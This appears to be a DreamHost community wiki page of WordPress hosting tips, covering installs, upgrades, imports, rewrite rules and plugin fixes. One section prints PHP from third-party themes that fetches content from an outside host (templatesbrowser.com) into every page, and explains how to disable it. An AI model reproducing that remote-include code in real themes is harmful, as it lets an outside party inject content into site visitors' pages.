WordPress
From DreamHost
WordPress is a CMS (Content Management System) blogging tool, kind of like a diary. You can use it to post stories, pictures links to cool stuff. You can visit WordPress's website for more details and to see examples of it being used. http://wordpress.org/
WordPress is a PHP-based weblog ("blog") publishing tool.
See also: KB / Account Control Panel / Goodies :: One-Click Installs / WordPress Blog
Contents |
Installing
Installing WordPress on Dreamhost is really simple: just go to the goodies section on Panel and use the One Click Install.
Note: If you are currently using a mirror to access the site where you want to install WordPress, the installer may point to the mirror rather than the target site and cause issues when you deactivate the mirror.
TODO refactor information from KB / Account Control Panel / Goodies :: One-Click Installs / WordPress Blog#How do I set up a WordPress weblog on DreamHost? somehow
If you plan to use the same MySQL database for more than one WordPress install before running the Install.php go to the directory where you installed WordPress and edit the wp-config.php:
pico wp-config.php
Go to this line:
$table_prefix = 'wp_'; // example: 'wp_' or 'b2_' or 'mylogin_'
Change the wp_ to something unique like wp_blogname_.
This will create a separate section in the database.
Upgrading
If you have an "Advanced Mode" install, you can use the upgrade links within the wordpress admin control panel to upgrade to the latest version of WordPress. Note that by doing this, the Dreamhost control panel will not be aware that you have upgraded your software, and will report the wrong version.
After upgrading to WordPress 2.3 (either manually or with DreamHost's One-Click Install), you might experience HTTP errors when accessing your blog, such as:
Too many HTTP redirects
or:
Firefox has detected that the server is redirecting the request for this address in a way that will never complete.
This is caused by an incompatibility between the new canonical redirection functionality in WordPress 2.3. It conflicts with the setting in DreamHost's Domains control panel that, when enabled, removes the "www" prefix from all URLs. When both features are enabled, all page requests to the blog get thrown into an infinite loop.
To fix the problem, go to the WordPress admin page, and switch to the Options > General section. For the WordPress address and Blog address entries, make sure that the "www" is removed from both URLs. (This assumes that your blog's domain is configured in the DreamHost control panel to have the "www" removed.)
For more information about canonical URLs, see here. If necessary, this feature can also be disabled with a simple plugin.
Importing
After installing you can go to http://yourdomain.com/wp-admin/import.php to import from other blog software like Blogger, Movable Type, etc.
Blogger
You may get errors when trying to import from Blogger. If you have problems, follow the directions exactly as usual, but add the following in:
Before you go to the import page above, login to blogger. If you currently publish to FTP, change your publishing method to blogspot by choosing a unique blogspot address. Logout of blogger and then go delete any blogger cookies. Then run the import.php above by logging in and going for it.
WordPress 2.2 has a bug; you may not be able to import the posts directly from the new Blogger. In such a case, follow the instructions available at this blog post.
There is another good guide about migrating from Blogger to Wordpress. It explains in details how to save your traffic, permalinks, pagerank, feed subscribers etc.
Moving A WordPress Installation
If you already have a WordPress installation running on another host and you want to move it to DH, see Move WordPress to DreamHost.
There is also an excellent guide to Moving WordPress on the WordPress Codex which you should review before attempting the move. When following those instructions, the only real considerations that you will have to allow for in the Dreamhost environment are:
- On Dreamhost, you can only create a new database via the Control Panel's Manage MySQL screen
- By using an "existing" database (that you created via the Control Panel), you may have to edit the exported .SQL file from your previous installation to remove any "Create Database" commands (whether or not this command exists in your exported SQL file depends upon how the export settings employed when exporting your data from the old database).
You should also review the WordPress Codex article referenced above should you wish to relocate your WordPress installation within your own DH account (possibly to facilitate other software installation, or to change the url of your blog).
Note that moving a WordPress installation within your own account will prevent you from using the "one-click" upgrade facility of the control panel (as your installation is no longer where the "one-click" installer put it), and you will have to perform subsequent upgrades yourself.
Customizing
There are many places one may find themes and resources for developing them yourself. Here are just a few:
- Official WordPress Themes Directory
- Theme Development Documentation
- Alex King
- Weblog Tools Collection
- 745+ WordPress Themes
- Video Tutorials
You can also find plugins at many places as well.
Third party themes and Malware
Themes downloaded from templatesbrowser.com contain code that has been known to add malicious items to wordpress blogs.
This is triggered via a link in the theme back to the templatesbrowser.com web site that pulls data in and displays it on your page.
It is relatively easy to disable if you have basic coding and FTP knowledge:
The page /wp-content/themes/THEME-NAME/functions.php contains the following code -
- if ( function_exists('register_sidebar') )
- register_sidebars(2);
- function credits()
- {
- $url = "1.templatesbrowser.com/wp.php?" .
- "url=" . urlencode($_SERVER['REQUEST_URI']) . "&" . "host=" . urlencode($_SERVER['HTTP_HOST']);
- $check = @fsockopen("1.templatesbrowser.com", 80, $errno, $errstr, 3);
- if($check)
- {
- @readfile($url);
- fclose($check);
- }
- }
The problem is the line starting with $check which is calling code at 1.templatesbrowser.com - you have no control over what is included in your page and this technique is being used by templatesbrowser.com (perhaps unknowingly) to add the code to your blog.
To remove it, open /wp-content/themes/THEME-NAME/footer.php
change the first line
- <?php get_sidebar(); credits(); ?>
to
- <?php get_sidebar(); //credits(); ?>
This stops the function credits() which is where the functions.php page which contains the link to the website is added into the theme.
Troubleshooting
Lots of stuff can go wrong with WordPress. Make sure to refer to this section first if anything does for you.
Performance
Find a detailed instructions here
Multiple installs
Just pasting in an IRC convo for now. Feel free to edit it into something better.
<bunnywabbit_> grimboy: I'm trying to solve this problem: http://climbtothestars.org/archives/2006/12/18/hairy-htaccess-dreamhost-wordpress-problem/
<bunnywabbit_> which is literally driving me nuts
<bunnywabbit_> support isn't helping
<bunnywabbit_> I don't know what to do anymore
<bunnywabbit_> so I'm wondering if changing to mod_php might help
<grimboy> bunnywabbit_, Nah, you have to solve these things on your own with dreamhost
<bunnywabbit_> grimboy: exactly
<bunnywabbit_> what I'm trying to do
<grimboy> So what does your .htaccess look like. What type of authorisation are you using?
<Sabrejack> anyhow.. I'm fairly familiar with php (cgi/mod), wordpress, and .htaccess
<bunnywabbit_> AuthUserFile /home/cafe/.htmembres
<bunnywabbit_> AuthType Basic
<bunnywabbit_> AuthName "Authentification obligatoire."
<bunnywabbit_> Require valid-user
<bunnywabbit_> that's int he protected directory
<bunnywabbit_> and the root .htaccess is a wordpress install .htaccess, standard
<Sabrejack> I think it's more likely to be an issue with the .htaccess in the parent directory
<Sabrejack> wordpress by default attempts to hijack all sorts of stuff
<Sabrejack> i'd look for an .htaccess at /home/cafe/yoursite.com/.htaccess
<bunnywabbit_> jali: where it should be
<bunnywabbit_> have to go eat
<bunnywabbit_> Sabrejack: that one is a normal wp .htaccess
<grimboy> bunnywabbit_, He's right
<grimboy> bunnywabbit_, Add this to the parent one.
<grimboy> RewriteCond %{REQUEST_URI} ^/membres.*$ [OR]
<grimboy> RewriteCond %{REQUEST_URI} ^/failed_auth.html$
<grimboy> RewriteRule ^.*$ - [L]
<bunnywabbit_> grimboy: so I put the 3 last lines you gave in the parent .htaccess?
<grimboy> bunnywabbit_, Yeah, give it a try. Might not work.
<grimboy> bunnywabbit_, Put it at the start
<bunnywabbit_> looks like this now grimboy, does that look ok?
<bunnywabbit_> <IfModule mod_rewrite.c>
<bunnywabbit_> RewriteEngine On
<bunnywabbit_> RewriteBase /
<bunnywabbit_> RewriteCond %{REQUEST_URI} ^/membres.*$ [OR]
<bunnywabbit_> RewriteCond %{REQUEST_URI} ^/failed_auth.html$
<bunnywabbit_> RewriteRule ^.*$ - [L]
<bunnywabbit_> RewriteCond %{REQUEST_FILENAME} !-f
<bunnywabbit_> RewriteCond %{REQUEST_FILENAME} !-d
<bunnywabbit_> RewriteRule . /index.php
<bunnywabbit_> </IfModule>
<grimboy> bunnywabbit_, Yeah, looks ok to me.
<Sabrejack> .htaccess and rewrite rules get processed before any scripts.
<grimboy> Yay, it's worked.
<grimboy> Hurrah. Not a genius though, just a guesser.
<bunnywabbit_> so what do those lines do?
<bunnywabbit_> and what did you guess the problem was?
<grimboy> bunnywabbit_, Stop the parent (public) blog stealing the urls from the private blog.
<grimboy> That's what they do.
<bunnywabbit_> lovely
<grimboy> Yeah, wordpress can be evil like that.
Cache plugin and random breakage
In the below everything --like this-- should be replaced with different stuff.
This plugin breaks when dreamhost moves what fileserver you're on. The problem is /home/--user--/--example.com--/wp-content/advanced-cache.php is a symbolic link to /home/.cluster/--user--/--example.com--/wp-content/plugins/wp-cache/wp-cache-phase1.php. Log via ssh and do this:
<code> $ cd --example.com--/wp-content $ rm advanced-cache.php $ ln -s /home/--user--/--example.com--/wp-content/plugins/wp-cache/wp-cache-phase1.php advanced-cache.php </code>
Plugins
Certain plugins make use of environment variables that are not present on DreamHost's servers. If you run into weird problems, try adding this to your wp-config.php on the line after the initial "<?php":
$_SERVER['SCRIPT_NAME'] = $_SERVER['SCRIPT_URL']; $_SERVER['SCRIPT_FILENAME'] = $_SERVER['DOCUMENT_ROOT'].$_SERVER['SCRIPT_URL'];
YouTube videos
If you would like to add youtube.com videos to your WordPress blog there are a few plugins you can install, but the easiest way might be to do the following:
Disable the visual rich editor by unchecking that box under Users>Your Profile.
Paste the following text into your post, changing the link to the video you want to use:
<embed src="http://www.youtube.com/v/Yu_moia-oVI" type="application/x-shockwave-flash" width="425" height="350"></embed>
Save it and see what happens, it should work. You can always go back and enable the rich editor, but for posting this code, it seems you have to disable it first, otherwise it will not save it properly. Hope it helps someone!
Permalinks
One should be careful when specifying a permalink structure and take into consideration how the Apache HTTP Server and mod_rewrite process requests.
The permalink structure tags require that WordPress be invoked through internal redirection in order to match database records to the values present in the URI. This results in Apache reporting status code 200 "OK" in your server log files. However if WordPress does not find a match, it reports a 404 "Not found" to the web browser.
Also, since URI processing ends when the internal redirection is made, the permalink feature my prohibit one from accessing valid URIs that do not have anything to do with WordPress. Here is an example:
- Blog address (URI):
http://example.com/ - Structure:
/%category%/%postname%
If one were to browse to http://example.com/stats to review the site statistics provided by DreamHost, then WordPress intercepts the request so it can check if 'stats' is a category. It won't find it and report "Not found", and processing of the has URI stopped before the server could access the site statistics (probably via the Alias directive, aka the "Re-map Subdir" feature).
To avoid problems, one should avoid installing WordPress into the root OR use a permalink structure that does not begin with a tag. You can also follow the directions on this page to restore your access to /stats.
Blank Pages
If you have "blank pages" in WordPress with wp-cache turned on after you upgrade to PHP 5.1.2 - there is simple fix to solve the problem:-
- Open <domain>/wp-content/plugins/wp-cache/wp-cache-phase2.php file* in your favourite text editor, where <domain> is the domain that you're having troubles with EG: dreamhost.com/wp-content/plugins/wp-cache/wp-cache-phase2.php
- Alternatively if that file is not in that location for some reason you can issue this command to find it from the <domain> directory:
find . -name wp-cache-phase2.php - Locate the wp_cache_ob_end function
- then inside that function find the line with: ob_end_clean(); (it should be line 219 or about)
- and finally replace that line with: ob_end_flush();
Enable Referer Error
You may come across this error, it will stop you saving changes in the admin section of WordPress. It is a security measure to stop people gaining access to the admin panel. The most likely reason for it happening is you have enabled "Remove www." in the domains section of dreamhost panel. If you still wish to have www. disabled you can fix the problem by:-
(Warning: Editing the settings in here could break your blog, only attempt it if you feel confident doing so)
- Goto the "goodies" section of the dreamhost panel.
- Click MySQL.
- Click on phpMyAdmin and log in using your details.
- Select the database for WordPress in the left hand panel then click "wp_options" (or whatever prefix you have called it e.g x_options)
- Click Browse at the top.
- The top entry here should be site_url.
- Edit this by clicking on the small pencil icon on the left hand side. Change the URL from http://www.example.com/blog to http://example.com/blog
- Save the changes. That should hopefully have cured the problem.
If not refer to the link provided in the error message.
International Website Issues
If you are developing a foreign language website using WordPress, you would want to make sure that WordPress is setup to use UTF-8 encoding on the WordPress > Options > Reading page.
Also - because Dreamhost's default MySQL client does not use UTF-8 encoding, so you will need to modify the wp-include/wp-db.php to include this line:
$this->query("SET NAMES UTF8");
More details here: UTF-8 encoding with WordPress
Using the Durable theme
If you use the Durable theme in version 2.2.1 of the WordPress with the one-click-install, you will probably want to upgrade to version 0.2.5 of the theme: http://www.blazenewmedia.com/projects/durable Earlier versions of the theme seem to be incompatible with the latest version of WordPress.
Networks
If you enable Networking (Multi-blogs) in WordPress 3.0, be aware that Dreamhost adds 4 lines to the end of the wp-config.php file, which cause problems creating your individual blogs in the network. Specifically, it will cause WordPress to concatenate DOMAIN_CURRENT_SITE, DB_NAME, and the name(s) of your new blog(s) together. This concatenation will persist into the blogs' new URL, essentially breaking the Network at setup. To fix it, comment out the 4 lines added by Dreamhost, which are:
$server = DB_HOST;
$loginsql = DB_USER;
$passsql = DB_PASSWORD;
$base = DB_NAME;
After installing the new blog(s), you should probably uncomment those lines, as they may (or may not be) be associated with automatic upgrades in the Dreamhost panel.
Atom Publishing Protocol
If you enable the Atom Publishing Protocol, under wp-admin/options-writing.php, you may find that you get the following error when attempting to authenticate:
Your authorization was rejected (Atom::Unauthorized)
This is a limitation specific to FastCGI -- specifically, FastCGI does *not* pass HTTP Authentication environment data.
Add the following lines to your .htaccess file:
RewriteEngine on
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]
For more information on this, read this
